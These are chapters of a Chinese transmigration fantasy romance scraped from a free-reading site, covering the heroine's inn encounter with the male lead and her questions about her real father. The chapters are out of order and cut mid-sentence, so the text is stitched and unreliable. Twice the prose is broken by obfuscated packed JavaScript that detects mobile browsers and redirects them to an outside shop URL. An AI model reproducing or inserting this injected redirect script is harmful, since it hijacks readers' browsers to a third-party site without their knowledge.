南道领着连乔越过湖面与悬崖瀑布,最后留在了一处湖心岛屿。 让连乔没有想到的是,还有另外三个意想不到的人在岛上等候。 瞳曜一群人。 连乔皱起眉。 昨夜她同南道说过,这次出行,除他之外,只需要叫上默非和三面狐,不要惊动太多人。 入秘境,最重要的是一切从简,秘境内凶险万分,原主的修为几乎等于没有,去夺宝基本上都是要靠着那几位高手,她是个大腿挂件,起到拖后腿的作用。 瞳曜他们修为不低,但是他们几个和南道他们不对付,一同出行,只会在无形中多生事端。 再者,经过这几日一系列的事,连乔对瞳曜他们生出几分嫌隙来。 这几人,总是出一些莫名其妙的馊主意。 南道他们几人似乎知道些什么,但是忌讳提及此事,每每谈到老谷主或者是瞳曜的身份,他们就会含糊其辞或者随意搪塞过去。 连乔很识趣,为了防止自己身份泄露,她也不再问。 很快,默非领着迟星垂到了湖心亭。迟星垂换了一身天青色的长衣,顺滑的长发随意束起,于精致中带了几分随意的洒脱来。 他的脸色相比较昨日好了许多,整个人如同三月地春风,蓬勃张扬。 连乔很难将如此翩翩少年郎和后来那个杀人不眨眼魔头联系在一起。 但是世事无常,谁知道中途会发生什么,一个人现在看上去不错,未必以后就一直顺风顺水沿着正途一路走下去。 靡不有初,鲜克有终。能不忘初始,始终坚定道心的人少之又少。 看到迟星垂,连乔微微挑了一下眉。 迟星垂望着她,眼神也不像初见她时那般锋利无礼,在安静的时候,颇有种在思考连翘是不是改邪归正的意味。 连翘当然没有改邪归正,走在正路不为难他的是她连乔。 迟星垂平静的表情在看到瞳曜的那一瞬微微褪下去,一张精致的脸也瞬间白了。 他这明显是受惊过度的模样,即使是在努力掩饰,眼底的厌恶与反感还是能察觉出来。 连乔面色不善,“不是让你别动他吗,你们是不是打他了?” 连乔是个颜控,虽然迟星垂很厌恶她,她也对他不感冒,但受不了别人拿她的话不当话。 看到瞳曜几人踏上白玉舟,“此次出行,我本就无意叫上你们。你们在子午谷等着,待我取回碧心兰,自然会回来。” 瞳曜脸上的笑容慢慢地收起来,他失去先前说好话的嘴脸,“连翘小谷主,我们是奉老谷主之命要寸步不离地保护您,您这次突然起意去胧月秘境已然忘记告知我们,现在还要一意孤行只身前往,遇到了危险怎么办?” “我们与你同去,不是别的,是为了你的安全考虑。” 到最后,连尊称也没了,语气里居然全是赤裸裸的威胁。 连乔忽然一愣,有种说不出的心悸。 这不是她的感觉,是属于原主本身的恐慌。 原来原主对这些人,不仅十分反感,还极想摆脱他们的控制。 连乔最讨厌被别人威胁。瞳曜一群人站在船边居高临下地望着她,语气也在不知不觉中恢复了温和体贴的状态。 “小谷主,上来吧。” “我们在,您才安全,老谷主才能真正放心。” 默非站在湖边,黑衣被湖边的风吹得来回摆动,他抬了一下眼皮,南道抱着胳膊,“激动什么,还没习惯啊?” 瞳曜朝连乔友好笑笑,随后几个人坐下,就坐在白玉舟上等连翘。 连翘犯犟也不是一次两次,软磨硬泡罢了,她总会顺从的。 连乔发现了,虽然连翘有不少暗卫,但事实上分为两派,一派是站在她这边,至少是明面听她的话,比如默非他们。还有一派,是老谷主留下的,比如瞳曜这群人。 默非这几个人不管闲事,只负责保护连翘的安全。而老谷主留下来的这群人么……好像总是有意无意,想办法将连翘往一条不归路上引。 连乔不动声色,她转过头来,问默非,“白玉舟上的禁制有没有开?” 连翘的灵器都是上等极品,这一只白玉舟通体散着温和的光泽,上天入海不成问题,不仅如此,这艘船内有三个法阵相加持,在遇到危险时,还能够有效开启禁制,自动防御。 连乔望了一眼默非,默非道,“玉舟一启动,自然是连带着法阵也开启了。” 连乔点头,“这艘白玉舟上的灵石能让它撑到哪里?” “灵石已加满,目前极东极北都可行。” 连乔眯了眯眼,“好,那就送他们去极北,南道,开阵。” 说时迟那时快,南道立刻控制住玉舟的法阵。白玉舟能够抵御外来攻击,自然也可以屏蔽外界,将人反向锁死在内部。 法阵开启,白玉舟缓缓升向空中,坐在船上的三人这才发现不对,然而他们却出不来,只能贴着玉舟上的扶杆往下看。 连乔在向他们挥手道别。 女子笑容阴森,双瞳闪出一丝不易察觉的狡黠。 她说,“一路顺风。” 送走了那几人,连乔拍拍手,她的动作慢了一瞬,“嗳?这艘白玉舟给他们了,我们岂不是没了座驾?” 连乔的一顿操作让南道很震撼。 他回过神,仍旧觉得不可思议。半晌他语气淡淡,“一艘白玉舟而已,也值不了几个钱,再买一艘就是了。” 再买一艘? 连乔刚来修真界不久,不知道灵石的购买力到底多强。 但是她记得白玉舟是上等法器,十分名贵。原书中,女主第一次过生辰,男主送了她一艘小青玉扁舟,还是不带防御法阵的那种,都让女主觉得过于名贵不能收。 白玉飞舟更是名贵吧,居然在南道嘴中成了值不了几个钱? 看来她这辈子还是一个有钱人。 嗯,非常好。 “不过……”南道本想说什么,但是又把话盖了过去,“现在买来不及了,我们先御剑飞行离开子午谷再说。” 连乔很期待御剑飞行,但是真上了飞剑,她差一点两眼一晕。 不行,在这几千里的高空中穿梭,脚下就这么一块薄薄的铁片,好像风一吹就能掉下去一样。 连乔本以为自己没有恐高症,但是这一刻她发现,她有。 她刚踩上剑,整个人不受控制地颤抖,何况她还是炼气期,很难很好地收缩释放灵力来控制长剑加速减速。 她尝试了几次,越尝试发现做起来越难。 于是她不动声色下了剑。 南道 7. 第 7 章 《掳走男主他哥后[穿书]》全本免费阅读 正躺在床上补了个美容觉的连乔在三面狐落地之前醒来,三面狐恢复原本器宇轩昂的模样,站得笔挺。连乔从狐背上翻下来,伸了个长长的懒腰。 这几日来,她没有透支自己,一直好好休息好好调养,原主身体的底子并不糟糕,已经很好地恢复过来。 现在,她已经不会动几下就累得昏睡过去。 几人停在一处客栈前,客栈看着挺大,有几处接待客人的客楼,每个楼上都挂着火红的灯笼,灯火通明。 几人定了最贵的一等房,与前面大部分客房分开,是后面单独的一栋小楼。 南道看了一眼客栈,稍有些嫌弃,“这已到大泽边缘,地广人稀,条件不怎么好,咱们先将就一下吧。” 连乔在赶路的时候睡够了,她不怎么累,但是有点饿。南道问连乔,要不要打包几分饭食送到她房间。 “不用了,我就在这吃。”她想看看来了哪些人。 几人便在二楼用餐,南道做事很周到,照顾道每个人的喜好,点了一桌饭菜,不过除了连乔,其他几人都已辟谷,吃不吃饭无所谓。 好在这些饭菜都是上好的灵草灵兽所制,不仅味道可口,食用一些对修为也大有裨益,其他几人也象征性地吃了一点。 连乔给三面狐喂了两条鱼,她发现三面狐很爱吃鱼,就又多点了几条,慰劳这位背着她飞上飞下的功臣。 三面狐吃多了又开始喝酒,喝得高兴后化成一个曼妙女子,坐在连乔对面,给她也倒上一杯。 连乔很够意思地跟它碰了一杯,三面狐越喝越高兴,喝多了就过来敬酒碰杯,连乔抬起杯子,它一敬酒她便和它碰杯,但是始终没有沾酒。 南道:“你不喝?” 连乔靠在椅背上,“嗯。” 上辈子她的酒量很好,千杯不倒,但不知道连翘的酒量怎么样。 她可不能喝多了,等会儿她还有正事要做。 客栈这一栋的一二楼都可用膳,一楼是大堂,二楼是包厢。这个包厢挺大,连接着外面,能够将整个一楼的境况尽收眼底。光线也很好,即使是晚上,内部也如同白昼。 迟星垂坐在连乔的右前方,看了她一眼。 连乔正在东张西望,不知道在看些什么。 这几日,迟星垂跟连乔接触了也不少,发现她和上辈子不太一样。行为举止还有语气上面倒是没什么差别,做事方式倒是大有改变。 不无脑狂躁,也不会一味受人挑拨。 这让他心中起了一丝疑惑。 这时,外面传来一阵喧闹,坐在迟星垂斜对面的连乔忽然站起来,人站在原处,但是脑袋探得老远。 她趴在栏杆上往楼下看,忽然传来一阵欢呼,有几声尖叫,“来了来了,他来了!” “快快快,往前站点,看看我看看我,我头发乱没乱?” “没乱没乱,漂亮着呢!” “这是第一次见他呢,要给他留个好印象啊!” 南道问,“外面什么声音,怎么这么吵?” 没等南道问连乔在看什么,就看到她扶着二楼栏杆轻轻一跃,翻过栏杆后便一手抱住二楼的圆柱,脚踩在楼台边缘,整个人呈现一种怪异的姿势吊在一楼和二楼的平台处。 南道大惊,“你干什么?” “我在等迟来风进门。” 连乔一直很想知道,将原主迷得七荤八素的原书男主迟来风有多帅气。 这里视线最好,不仅不用和别人挤,还正好对着门,等会儿迟来风一进门,一仰头就能看到自己。 多好。 南道嘴角一抽搐,“你也不至于这么激动。” 默非一皱眉,他重新将帷帽戴上,生怕别人认出他来,更怕别人知道他跟连翘是一起的。 原本安静品茶的迟星垂也手一抖。 他原本怀疑过,连翘是不是被夺舍了,不然为什么这些天的行为比较反常? 但是在此刻,看到在外面吊得极其招摇的连翘,迟星垂沉默了。 他为什么会觉得她变了,而且变得有魄力了?迟星垂为自己先前的那个想法感到耻辱。 迟星垂甩开自己奇怪的猜想,不动声色地放下杯子,拿着帕子擦了擦手上的水。 连乔双眼放光,铆足了期待去看迟来风进场。 她之所以知道这个点迟来风会到场,是因为她刚刚看到了进客栈吃饭的云招摇。原书中,云招摇他们几人长途跋涉灵力消耗严重,所以来胧月客栈取灵泉水,结果在这里被恶毒女配偷走了灵石袋,导致她没钱付钱而尴尬无措。 这时,迟来风犹如天神降临,他替她付了灵石。云招摇原先一直不搭理他,但是这次看到他这样为自己解围,还是别扭地说了一声谢谢。 她倔强不服输的模样很是可爱,一下子又击中了男主的心。 自那以后,男主对她开始上心,人也越发殷勤起来,开始了追求女主的漫漫之路。 此时,一楼卖灵泉水的地方,云招摇几人因为找不到灵石袋而尴尬得手足无措,正在这时,迟来风经过,犹如众星捧月地被一群人簇拥着进来。 迟来风名声很大,一方面是因为他是云岭二公子。作为修真界数得上名号的大世家,二公子的身份极其尊贵。另一方面,他本人也十分有名气,不仅是十里八乡出了名的帅哥,还风流倜傥含情脉脉,各种花言绯闻在修真界乱飘,张扬得要死。 他就那样在一群人之中摇着扇子走进来,香风翻飞,吹动了他精心打理过的长发——连发梢都是飘逸的。 连乔“哦吼”了一句,“哇,好大的排场啊!” 大排场的花美男坐在一楼的一个角落处,连乔心中腹诽,这兄弟绝壁故意的吧。 不是她吹,她上辈子热搜体质,名气不输于现在的迟来风,但是她很低调,绝不会像迟来风一样往人堆里蹿,还假装坐在角落里安静——这明明更吸引人。 装,实在是太装了! 似是感受到连乔灼热的目光,迟来风微微一抬头,正好和连乔四目相对。 连乔为了看他,连形象都不要,右手和右脚都扒在漆红的圆柱上,身体极力□□,整个人像一只刚刚学会爬墙的壁虎,非常之是滑稽且可笑。 迟来风无奈一笑,“连翘姑娘,楼上高,仔细些别摔着了。” 嗳?他认识自己啊? 不过是见了原主一面,居然知道她是谁。真不愧是风流倜傥的修真界情圣。 连乔顿了一下,“不会……” 她看完了人,准备翻回去。但喝多了的三面狐此时兴致很高,它眯了眯眼,终于看清了连乔翻栏杆出去要看的人。 哦?那不是让连翘一直牵肠挂肚的云岭二公子迟来风么? 三面狐是何等高级的灵兽,它怎么会想不到连乔想要干什么? 走你。 三面狐一伸爪子,将重心不稳的连乔推了下去。 连乔整个人猛地往下一滑,直直冲向底下的迟来风。 迟来风挑了挑眉,一副我就知道你要玩什么把戏的无奈,一拍桌子,飞身上去接住她,在空中转了七百二十度整整三圈后,慢慢地平稳地落在地上。 落地的同时,他不忘记打理一下自己的发型,防止它乱了。 连乔沉默地望着这只花孔雀开屏,直到迟来风微微一笑,温柔提醒她,“连翘,该放手了。” 连乔松开了手,望着迟来风离开的背影,既无语又无助。 旁边人窃窃私语。 “哎,好不容易知道二公子今天来这里吃饭,我等了好久的!” “这个人是谁啊,非闹这一出,二公子一看就知道她是冲着自己来的,还能好好留在这里吃饭么?” “哎,算了算了,二公子风流倜傥,她这样也正常,不过就是做了我们没敢做的事。” “也是……唉,下次希望我也能像她一样勇敢,然后被二公子接一下。” 连乔:“……” 怎么说呢,她要是说自己真不是故意的,也不是很想要迟来风接自己,不知道有没有人信。 迟来风都没有迟星垂长得好看,她为什么要抽那种疯? 是的,迟来风确实没有迟星垂好看。 不可否认,迟来风是个帅哥,但是他的面相相比较而言,没有迟星垂那般精致,眉眼也有些不着调,看上去很轻浮。 她不喜欢。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12807236|132129||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 她似乎一直在控制自己的表情,好让自己看上去更为平和大方。 她没打听到什么,也就没了兴趣,“来风什么时候到?” “二公子……” 听到二公子几个字,后以兰的眉头不由地又紧锁,脸上明显挂着不悦 秋心立刻改变说法,“来风公子来信说他送同门回宗门,现在在路上,马上就能到。” 后以兰这才舒了心,“好的,你先下去吧,同酒楼店家说,等所有人到齐再起菜。” “是,夫人。” 连乔的窗没关,连翘花枝快要伸入窗内,热闹又自由。 她本是喜欢这花丛,没想到有人素质这么低,莫名其妙往她这里看,那眼神看得人很不舒服。 她抬了一下下巴,示意三面狐将窗关上。 南道:“要不换里面那个厢房,那里没人打扰。” 连乔嫌麻烦,“下次吧。” 嗯? 在三面狐关窗的时候,门外一抹旋风大步流星而过,模样有些眼熟。 迟来风? 连乔有些吃惊,她歪了歪头,三面狐会意,索性不关窗,让她看个够。 南道赶紧起身推开三面狐,自己将窗户关上,紧得窗缝都要被挤平。 做完这一切,他不动声色地坐回桌前,“连翘,你多吃些,你不是最爱吃蜜糖莲子糕嘛,还有这个,牛乳麒麟果,来,这个,这个,还有这个,都吃一些……” 连乔望着这位衷心的下属,看着他这么多次生硬的转场,默默地叹了口气。 “南道,大可不必如此。” 南道装傻充愣,“什么,你在说什么?” “我的意思是,你不用害怕我对迟来风还有什么想法。” 南道:“哦。” 连乔:“我是认真的。” 南道:“嗯。” 连乔:“……” 算了……南道一根筋,同他讲不通的。 毕竟迟来风是原主费尽心力也没有得到的男人,现在这么快放下执念,逻辑上说得过去,但是又不是那么令人信服。 她捏着杯子想了一下,叫来在楼下整理账簿的掌柜。 掌柜名叫林方生,连桥尊称他一声林叔。 林方生也是修道中人,年纪四十岁左右,身材魁梧,五大三粗。他模样虽粗鲁,但做事认真细致,心思细腻,模样和性格有鲜明的反差。 据南道说,连翘母亲露不霜还在世的时候,他就在这里做事。露不霜离世后,连翘尚小,不过问生意场上的事,但林方生人坚持旧主的嘱托,接下旧酒楼的管理工作,除借酒楼外,其他的生意在他打理下也井井有条。 “林叔好。”连桥拉出凳子,请林方生坐下。 先前他来借酒楼的时候已经与林方生见过一面,林方生在见到她的时候顿了一下,但很快恢复镇定。 现在再看到她时,表情仍旧有一瞬间的松动。 “林叔,我脸上有东西?” 林方生摇头,“没有,小小姐。” “你是长辈,叫我连乔便好,或者是叫我阿乔。”连桥给林方生倒了一杯茶,林方生赶忙接过,“谢谢小小姐。” 连乔:“你叫我小小姐,难道还有大小姐么?” “我们叫夫人大小姐。”林方生道,“小小姐,您与您母亲很像,与你父亲也很像。” 南道咳嗽一声,似乎意识到自己说了不该说的话,话题也没有接着延伸下去。 连乔喝了一杯琼浆,琼浆味道甘甜,有淡淡的橘子味,夏日喝起来倒是清爽。 她放下白瓷杯,“我知道我与娘亲长得像,但是我不知道我与父亲也长得像。” 林方生笑了笑,“您与您父亲没见过面,不知道是正常的。” 23.第 23 章 南道又咳嗽一声,连乔转过头,“你嗓子不舒服啊?” 南道:“……没有。” “要不要出去透透气?” “不、不用了。” 连乔捏着白瓷盏,默不作声。 三面狐把头伸过来,连乔将茶杯放在它头上,示意它到一边去玩。 南道仍旧不死心,朝林方生使眼色,连乔将头伸过来,“你眼睛也不舒服啊?” 南道:“……啊。” “进沙子了?让三面狐带你出去透透气。” 南道:“……不用,不用。” “不用就坐在在这里听着。” 气氛一时间充满了怪异。 南道心中责怪林方生多事,他来的时候就嘱咐林叔说话小心些,连翘很容易拎不清。 这种事又不是没发生过,老谷主最忌讳连翘谈她亲生父亲,连翘偏偏不信邪去问。 那一次老谷主大发雷霆,整个子午谷上空都充斥着阴郁的乌云。 之后连翘和老谷主大吵一架,自那以后,连翘性情大变,整个人的情绪忽起忽落,性格也越发执拗和偏激。 南道不知道那次谈话到底发生了什么,但是他知道,连翘亲生父亲是不能和老谷主提及的存在。 只要连翘谈到自己亲身父亲,就会和老谷主大吵,次数多了,老谷主就不再教育她,对她也不管不问,任由连翘发癫,让自己的路越走越歪。 这几年,连翘纵情声色,似乎放下了这个执念,不再询问亲生父亲的事,和老谷主的关系也有所缓和,子午谷似乎又重新恢复了往日的平静。 林方生看一眼南道,连乔给他续茶,“你不用看他,他们都听我的。” 林方生笑了,“小小姐,您和传闻中的不一样。” “是吗?” “是。”传闻中她做事荒唐不计后果,但是现在看来,也没那么无礼蛮横。 连乔耸耸肩。 果然么,南道一直在阻止她打听自己的秘辛,默非向来是不管不问。她身上肯定是背负什么。 从林方生的说法来看,她好像确实不是子午谷老谷主的亲生女儿。 连乔问,“我亲生父亲是谁,很厉害吗?” 林方生喝了茶,“很厉害吗?额……” 连乔:“哦。”听上去好像不是很出名。 “您父亲在借酒楼待过一段时间,哦对,那时候借酒楼还不叫借酒楼,那时候这里还是一个小酒楼,您父亲时常来找大小姐喝酒,久而久之二人熟了,后来您父亲就住在这里了。” 连乔:“嗯?” 怎么听上去,连翘的亲生父亲好像是吃软饭的。 不好意思,这么说可能不太好。 连乔在心中默默说了句“抱歉”。 她吃了一块香瓜,“我父亲叫什么?” 林方生:“啊?”半晌又跟了一句“……啊。” 连乔:“你不会不知道他叫什么吧?” 五大三粗的汉子脸上出现尴尬,“……大小姐称呼他为连郎。” “那你们呢?” “我们……我们平时称他为连道友。” “嗯,那就是名字都不知道了。” 林叔讪讪,“是……大小姐身边经常会有人跟着,我们大多数不问名字,只知道称呼。” 连乔:啊? 得了。 确定了,原主的亲生父亲是一个名不见经传的,被她母亲包.养的小白脸。 林叔不好意思说,但是连乔从字里行间还是听出了这个意思。 所以是……连翘的现任父亲看不上小白脸,觉得是耻辱,不允许她提及此事。 并且连翘继承了她亲生父亲的骄奢淫逸,越长大越癫狂越行事荒诞。 是么……好像也说得过去。 连乔问:“那子午谷老谷主与我母亲关系好么?” “玉谷主与大小姐青梅竹马,二人关系一直很好,大小姐生下你后,玉谷主一直来看你,也很喜欢您。” 他望向连翘,“您出落得与母亲一般大方美丽,想来玉谷主将您照顾得很好。” 很好么? 放任她做事荒唐,从不严加管教,甚至给她派了几个主动带她玩乐怂恿她纵情声色犬马的人,是真的好么? 有待考究。 连乔问:“我母亲是个什么样的人呢?” “大小姐……是个很好的人。” “那时候大家不把妖修当人,你……知道的,这些年稍微好些。那时候我们的日子不好过,生意更是难做。不过大小姐人很聪明,做事周到,做生意也很有一套,借酒楼也是那个时候做起来的。” “你说借酒楼那时候不叫借酒楼,这个名字有什么来头吗?” 林方生迟疑了一下,“大小姐说……连郎没钱,时常来酒楼借酒,所以酒楼便叫借酒楼。” 连乔默默喝了一口酒。 南道斜眉偷偷睨了她一眼。 连乔过去的事大概都了解了一遍,“林叔,我母亲留下来的东西不挂在子午谷是么?” “是的,大小姐留下的东西都是挂在您名下的,和子午谷无关。” 连乔点头,“好的,林叔,麻烦你将母亲留给我的所有店铺账目以及近些年来的流水明细都备好,晚上送至我房内,再派两个对账目清楚的人过来,我要看一看。” 连翘一向是耐心没有,能力奇差,生意场上的事更是不过问,现在终于是愿意了解了么? 林方生回道:“好的。” 连乔注意到,林方生以及借酒楼里面的老人,一直都尊称连翘母亲露不霜为大小姐,并不叫她夫人,所以子午谷与这里是两个互不关联的存在。 这是露不霜单独留给连翘的。 露不霜并不确定玉非缘是否能始终如一待连翘为亲生女儿,她留下了丰厚的遗产,即使子午谷容不下她,以这些生意的收入,也足够连翘坐吃山空败落几辈子的。 照这样说,如果前世连翘不掺和迟来风的事,又或者是没有惹上迟星垂那个疯批,本可以潇潇洒洒一辈子。 所以,男人有毒,越漂亮的男人越有毒。 “等等,林叔。” 在林方生起身告别时,连乔叫住他,“林叔,那边的西厢房里面坐了什么人?” 林方生回想一下,“我们十二楼通常是不对外开放的,只针对熟客,订西厢房的就是一位熟客,是乾元剑宗的迟来风公子。” 果然是迟来风。 “里面除了迟来风,还有一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12822263|132129||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 位夫人。” “那是他的母亲后以兰,除此之外,还有云岭迟家家主迟纵深,这次是迟家主到云来城办事,云来城离乾元剑宗不远,所以迟来风公子定了上房,一家人吃一个团圆饭。” 连乔漫不经心地问,“三个人?” “是的,以往是三个人。”林方生道,“但是这次是四个人,迟家大公子迟星垂也在。” 连乔点头,“林叔,帮我派两个机灵点的姑娘进去,注意他们说了些什么,晚上对账的时候一并告诉我。” “好的,小小姐。” “还有。”连乔笑了笑,“等一下你进去同那位夫人说,我与迟家公子是朋友,这一次我请客,并告诉他们家公子,晚间我在天台花亭等他。” 林方生问,“是哪位迟公子?” “你报我名号,他自然会来见我的。” “是。” 林叔离开,连乔继续喝酒,南道阴阳怪气,“说免单就免单,合着这生意不是你家的啊,照你这个赔法,这酒楼都要给你败掉。” 连乔:“依现在酒楼的生意,我一晚上送十桌,天天送,送个十年,借酒楼也能开得风生水起。” “你最近怎么这么多事?你听我的还是我听你的?” 南道不说话了。 “现在外面风景很好,三面狐,你去带他晒晒太阳。” 南道望着外面一城的夜色:“???” 南道摇头,“不用,我喝酒喝得眼睛疼,看不了好景致,我就在这儿。” “看不了就让三面狐给你说,三面狐说话可好听了,讲故事也仔细。” ? 你这分明就是在胡诌,三面狐是个哑巴,它会说什么话?! 南道猛地站起来,“连翘,我……” 不等他说话,喝高了的三面狐一把将他撞翻,在他趴到在地的那一刻,窜到他肚子下,将他背起,随后跃出窗外。 连乔隔着窗户摸摸三面狐的头,“乖狐狸,带着南道去外面多转几圈,转吐他,直到他答应以后不胡乱说话阴阳怪气为止。” 南道趴在三面狐背上,喝多了酒,被三面狐颠得想吐,“连翘你这是什么意思?!” “你好不容易才恢复正常,你怎搞的又开始犯病了。” “你听我说,你好好的,咱回去要啥没有啊,你可千万别闹出事儿啊,到时候老谷主来给你收拾烂摊子你们俩又要吵架了。” “三面狐你这个不长心的,你拦我干什么,你拦连翘……啊……” 他的声音随风飘散在窗外鼎沸的人声中。 连乔继续喝酒,默非静静望着她。 “怎么,你也想骑狐一夜游?” “我没有拦你的意思。”默非坐在一边,双手拢在宽大的袖袍中,安静无声,仿佛外界一切与他无关。 借酒楼生意做得这么大这么好,有一处非常值得肯定,那就是严保客户隐私,不该问的不问,不该议论的也决不议论,林方生只是就事论事,多余的信息也没有了。 根据林方生的话,她推测出来先前的那位夫人是谁。 原书女主的恶婆婆——云岭迟家家主的代夫人,后以兰。 回想她那轻蔑且傲慢的模样,和书中描述得倒是大差不差。 24.第 24 章 连乔静静望着这个影卫,他神秘,诡异,且特立独行,连乔估计连原主,也不清楚他到底什么来历。 连乔望着窗外,“你不怕我乱来么?” 借酒楼是她的地盘,她要是真的上头了发起疯来,想把谁掳走,把谁关起来,或者是让谁莫名其妙在这楼里消失,不是办不到。 默非道:“只要不涉及你生死,其他人死不死和我无关。” 连乔耸了耸肩,“这符合你的行为风格。” 连乔又道:“我不是很清楚,以你的能力和城府,怎么甘心留在我这里。” 前途可不光明。 默非看似老实地回答,“在你这里有钱花。” 连乔静静听他乱说。 她换了个方式坐好,望着西厢房的位置,“我想做点什么,你会帮我吗?” 默非皱眉,“你觉得呢?” 连乔“呵呵”一笑。 当然不会。 虽然不会主动出手去阻止她做些什么,但是在助纣为虐这件事上,他绝对不会帮忙。 就比如重心蛊一事,他绝对不会帮她去获得这种东西,只有瞳曜那些人会。 她抬头望了一眼月亮,正逢十五,月亮又大又圆,可惜云来城亮着满城的灯火,这么好的月色,也欣赏不到了。 连乔起身,“我出去走走。” * 西厢房内。 西厢房又称别来苑,说是一厅,内部山水丛林俱有,那一端种满柳林,晚风拂过,落过轻雪般的柳絮。 柳寓送别,又称别来苑。 “母亲大人。” 迟来风推门,衣袖带风浩浩荡荡,他直奔上座,一把拽住后以兰的衣袖,“母亲,好久未见,儿子想死你了。” 后以兰在这里等得久了,原本心情烦躁,看到儿子这般明媚开朗,不由地“噗嗤”一笑,“做什么呢,都多大了还这么顽皮,正经点。” “在母亲你这里,儿子永远是小孩,也不得永远顽皮嘛。” 后以兰又被逗笑了,“好了好了,快坐下吧,你父亲事情已经忙完了,马上也要来了。” 后以兰为迟来风倒了一杯茶,“等会儿他也要来。” “谁?” “他咯。”后以兰脸上不悦,但很快又恢复平静,“你父亲说来云来城办事几次,迟星垂都不在乾元剑宗,这次你们都在,就想一家人聚一聚。” 她“嗤”了一声,“他算是哪门子一家人。” “母亲。” 迟来风看她一眼,后以兰淡淡笑笑,“知道了知道了,母亲不明面上针对他,好不好。” 保养完好的妇人喝了口琼浆,“你别说,借酒楼确实和其他的酒楼不一样,酒浆是自产的,味道极好,甚至都不输于咱们云岭的名酒满堂芳了。” 迟来风“哈哈”一笑,“知道你爱这一口,今日点的菜也都是母亲你喜欢的。” “还是你知道心疼人,哪像那个人啊。” 后以兰喝完酒,又轻轻擦了擦嘴,“性格太阴暗了,看见人总是一副木头样子,活像我们欠他什么一样。” 正说着,“吱呀”一声,一个白衣青年人推开门走进来。 青年人身量很高,面容平静眉目平和,身着月光锦锻长衣,这衣料极为名贵,上面用银线绣制细小繁密的花纹,在灯光下泛出淡淡的银色,有如月光相渡,顾名月光锦。 这锦衣也是一件贵重的法器,水泡不烂火烧不坏刀枪也不可破,一件这样品质的长衣,在修真界有价无市。 “纵深。”后以兰立刻笑起来,但是在看向男人身后时,笑容又慢慢淡了下去。 “阿星,你坐我旁边。” 迟星垂微微点头,坐到一旁。迟纵深给他倒上一杯茶,“听你师父说,你这些日一直在外历练,历练得如何了?” 迟星垂接过茶,声音淡淡,“尚好。” “嗯。” 迟纵深又问,“你什么时候回乾元剑宗的。” “昨日。” “嗯。” 气氛一时间陷入沉静。 后以兰撇撇嘴,她就知道,带上这个人,一切就尴尬起来了。 她立刻笑笑,打破这沉静。 “纵深,生意谈得怎么样了?法器可买好了,最后选中了哪一家呢?” “目前挑中了三家,质量上都还可以,最好的是青光府的那一批,但是价格是其他两家的两倍。” “哦,这么贵呀,以往也是这个价吗?” 迟纵深像是没什么兴致,“嗯,青光府向来如此。” 后以兰也陷入沉默,很多东西她不太懂,也只能尬聊,迟纵深也没有和她继续在这个话题聊下去的打算,她索性换了个话题。 “你们今日怎么一起来了,你去乾元剑宗接阿星过来的吗?” “在门口碰到的。” “哦,这样啊。”后以兰的心情似乎轻松了许多,她又笑起来,“今日你们都来得晚,来风也是刚到。” “来风刚到?”迟纵深喝了一口茶,抬眼望向他。 “啊,来风他刚从秘境历练回来,他们宗门有人受伤了,来风心善,把他们送回剑宗了。” 后以兰转过头,“对了来风,你送回去的,是你的同门吗?” 迟来风摇头,“不是,是长淮长老的弟子。” “长淮长老啊,他挑人最严格了,不是天赋异禀的人都不要。” 眼看着菜肴被端上来,后以兰给迟来风夹了条鱼,“来,多吃点,你怎么没有把他带过来给我看看。” 迟来风想了想云招摇的模样,“哈哈”一笑,“我怕母亲你不喜欢。” “怎么会呢,乾元剑宗的弟子,还是被长淮长老亲选的弟子,肯定很优秀,又不是什么小门小派的不入流的人,我怎么会不喜欢呢。” 迟来风吃完了碗中的菜,后以兰又给他夹了一筷子,“你下次带他来给我瞧瞧。” 迟来风笑了,“当然母亲,会有一天,我会带她给你好好瞧瞧的。” 几个人吃了一顿不热闹但很丰盛的家宴,宴席作罢,店家又送上来几盘绝好的上品灵果和三壶灵露佳酿。 迟来风抬头,“菜上错了吧,这不是我点的。” 清丽又机灵的小姑娘大大方方行了一个礼,“各位贵客,这是我们家主人送给各位的,主人说她与贵客家公子是好友,今晚这一桌,她请各位。” 借酒楼的主人? 是个向来神秘的人物,且这个人素来低调,修真界很少有他的传闻。 后以兰看了一眼迟来风,迟来风略做斟酌,“不知借酒楼楼主是哪位?” 小姑娘灿烂一笑,指着屋外怒放的大簇黄花,“我们家主人,名为连翘。” “主人说,与好友许久未见,特在顶楼花亭设了小宴,请公子餐后一叙。诸位有什么需要的,也尽可以吩咐我们。” 说完她行了一个礼,“各位贵客请用膳,告辞。” 后以兰放下筷箸,“来风,你认识那位连翘?” 迟来风脸色不大好,“嗯,不太熟,之前在乾元剑宗见过几面。” 他帮连翘解围,开导了她几句,那姑娘简单单纯,直接同他表白,说从来没有人对她这么好过。 迟来风在情场纵横多年,当然知道自己的魅力,他婉言拒绝,连翘不依不饶跟过他几次。 不过后来她被乾元剑宗拒绝,她也就回子午谷了。 原来她还是这借酒楼的主人么。 倒是人不可貌相。 借酒楼围绕一山而建,与山融为一体,十二楼便在山顶。 山顶素日不轻易对外开放,偌大的平台,各种花树林立,独立于世,自成一片桃源。 花亭在花林之中,夜间晚风拂过,洋洋洒洒铺下一地的花瓣红毯。 花亭视野极佳,正对云来城的三个主干道,透城的灯火撒过来,透过这密密麻麻的花丛,在地上铺出细细密密的光斑。 